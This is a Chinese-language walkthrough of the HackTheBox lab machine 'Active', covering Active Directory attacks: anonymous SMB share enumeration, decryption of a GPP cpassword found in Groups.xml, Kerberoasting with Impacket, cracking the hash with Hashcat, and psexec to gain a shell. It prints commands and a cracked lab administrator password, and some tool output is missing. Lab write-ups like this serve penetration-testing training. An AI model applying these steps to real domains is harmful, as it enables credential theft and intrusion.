活动目录下的常见攻击方式

Active是一个很简单的box，不过也提供了很多学习的机会。这个box包含了很多与Windows活动目录相关的常见漏洞。你可以在这个box中进行SMB枚举，这是一个不错的练习机会。你也可以对Windows域使用kerberoasting，但如果你不是渗透测试员的话，是没有机会这么做的。

SMB遍历

如果是一台Windows主机，那么我会看看SMB。一般我都会使用多种 工具 来对主机进行SMB遍历。我还写了一篇博客， 讲解各种SMB遍历的工具 。然后lppsec又告诉我一个工具smbmap，那会儿我刚写完那篇博客，刚刚更新完SMB枚举checklist，不过我又去编辑那篇博客，添加了smbmap这个工具的使用原理和使用步骤。

列出共享

我刚开始使用enum4 linux 这个工具进行了枚举，但是这个工具有个问题，它dump了一堆信息，不过大多时候，这些信息都没什么用。返回来的信息都很难理解，下面是输出结果中比较有用的部分：

Replication share –SMB

枚举

因为我可以不用密码就直接访问 \\10.10.10.100\Replication ，我将使用smbclient来连接并查看一番。

<a href="/cdn-cgi/l/email-protection" data-cfemail="e4968b8b90a48f85888d">[email protected]</a>:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/Replication -U ""%""
Try "help" to get a list of possible commands.                            
smb: \>

或者，我也可以使用smbmap来递归列出share中的所有文件，命令如下：

smbmap -H 10.10.10.100 -R

哪种方法都行，我注意到了一个很有意思的文件Groups.xml，内容如下：

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018

  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

它有username和cpassword字段：

<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">

  </User></Groups>

GPP密码

只要创建了一个新的GPP(组策略首选项)，都会在SYSVOL share中创建一个数据配置的xml文件，包括任何与GPP相关的密码。不过，为了安全起见，在存储之前，Microsoft AES对密码进行了加密处理。但是，Microsoft又在MSDN上发布了秘钥。

微软在2014年发布了一个补丁，防止管理员将密码写入GPP。但是这个补丁对于那些已存在的可破解的密码不起任何作用。而且据我所知，渗透测试员在2018年也经常能够发现这些秘钥。更多详情，请看这篇博客： AD security 。

破解GPP密码

既然得到了秘钥，我们就可以进行破解了。Kali上有一个工具gpp-decrypt可以破解：

有了用户名和密码，我又能多访问3个share了。

Kerberoasting

背景

Kerberos是Windows活动目录环境中用于身份认证的协议（当然它也可以用于Linux主机的身份认证）。2014年，Tim Medin演示了对kerberos的攻击，他把这种攻击叫做kerberoasting。这个演示非常值得一看，因为Tim用了图文并茂的方式阐述了攻击过程。这里我会尝试简单回顾一下。

如果你要使用Kerberos对某些服务进行身份验证，你需要联系DC并告诉它要对哪个系统服务进行身份验证。它会使用服务用户的密码哈希对response进行加密然后返回给你。你再把该response发送给服务，该服务可以使用密码对其进行解密，检查你的身份，并确定是否允许你进入。

在Kerberoasting攻击中，你不会将encrypted ticket从DC发送到服务，而是使用离线暴力来破解与服务相关的密码。

获取哈希

我将使用IMpacket工具中的GetUserSPNs.py脚本来获取与普通用户帐户关联的服务用户名列表。它也会得到一个我可以破解的ticket。

该脚本跑完之后识别出了一个用户，而且是管理员：

使用Hashcat破解

我会在这个网址查找哈希类型，然后使用Hashcat进行破解：

管理员权限

Share枚举

现在，有了管理员的密码，我们几乎可以访问所有的shares，包括C$，这会提供整个文件系统：

获取root.txt

我可以使用smbclient或者smbmap来进行连接并获取root.txt文件：

<a href="/cdn-cgi/l/email-protection" data-cfemail="d5a7babaa195beb4b9bc">[email protected]</a>:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/C$ -U active.htb\\administrator%Ticketmaster1968

b5fc76d1...

这里值得注意的是，我甚至没有获取系统的 shell 就拿到了系统中的root flag。

System shell

但我当然想getshell。现在这些shares是可写的，而且我有管理员权限，我可以使用PSExec来getshell。直接在kali上就有很多方法进行提权，这里我还是使用Impacket这个工具，使用psexec.py这个脚本：
